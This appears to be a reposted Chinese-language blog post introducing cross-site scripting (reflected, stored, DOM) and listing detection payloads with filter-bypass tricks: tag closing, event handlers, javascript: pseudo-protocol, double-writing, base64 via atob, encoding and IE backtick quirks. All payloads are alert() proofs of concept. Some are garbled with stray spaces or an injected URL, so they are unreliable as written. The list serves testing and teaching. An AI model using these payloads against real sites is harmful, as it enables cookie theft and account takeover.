XSS漏洞介紹
跨站腳本XSS是一種針對網站應用程式的安全漏洞攻擊技術,惡意攻擊者往web頁面插入惡意的Script代碼,當用于瀏覽該頁時,嵌入web中的惡意代碼就會被執行,從而達到惡意攻擊用戶的目的,惡意用戶利用XSS代碼攻擊成功后,可能會得到很高的權限,進而進行一些非法操作,
XSS攻擊需要了解什么
1.獲取管理員的cookie資訊、篡改網頁的鏈接
2.存盤型XSS,將惡意代碼存放在服務端,正常用戶訪問,惡意代碼也會獲取用戶的cookie
檢測測是否存在XSS的方法:將該陳述句發給服務器:,如果服務器端沒有進行過濾,服務器就會回傳給客戶端,則服務器端存在XSS漏洞,主要就是看服務器端給客戶端的回應,(使用burp抓包response)
3.發生位置:留言板、評論、搜索
4.分類:反射型XSS(需要發給客戶,客戶點擊鏈接才會觸發)、存盤型XSS(危害嚴重)、Dom型(特殊的反射型,也需要客戶點擊鏈接才會觸發)
5.改鏈接(用來引流),改cookie(用來提權)
XSS檢測總結
常用XSS檢測
<script>alert(1)</script>
<img src=x one rror=alert(1)>
<svg onl oad=alert(1)>
<a href=javascript:alert(1)>
直接檢測
<script>alert('hi')</script>
<script>alert(document.domain)</script>
閉合<input>標簽
"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>
閉合選擇框,burp抓包修改
</option><script>alert(document.domain)</script>
存在隱藏提交項,burp抓包修改
隱藏專案名"><script>alert(document.domain)</script>
或者使用svg onl oad事件觸發JS代碼
隱藏專案名"><svg onl oad=alert(document.domain)>%0a
限制maxlength的數值
maxlength="1000000"
<script>被轉義,使用html事件處理器
xss" onclick="alert(document.domain)"/>
xss" onm ouseover="alert(document.domain)"/>
使用JavaScript偽協議
<a href="javascript:alert(document.domain)">
如果不想讓鏈接執行<a href="javascript:void(0)">javascript:alert(document.domain)
雙寫繞過(或者多寫)
"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>
編碼繞過
"><script>eval(atob('xxxx'))</script>
其中,xxx是alert(document.domain)的base64編碼,atob的作用是把base64解碼
偽協議繞過
"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>
空格繞過
"><a href="https://www.cnblogs.com/ricardojxu/p/javascr ipt:alert(document.domain)">xss</a>"><a
IE瀏覽器特性繞過
IE中兩個反引號``可以閉合一個左邊的引號
``onclick=alert(document.domain)
雙斜杠16進制繞過、雙斜杠unicode繞過
將被過濾的字符進行不同編碼,一次或者多次進行繞過
注意
在使用XSS編碼測驗時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行繞過,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/14049.html
標籤:其他
上一篇:如何解決音效播放太慢的問題
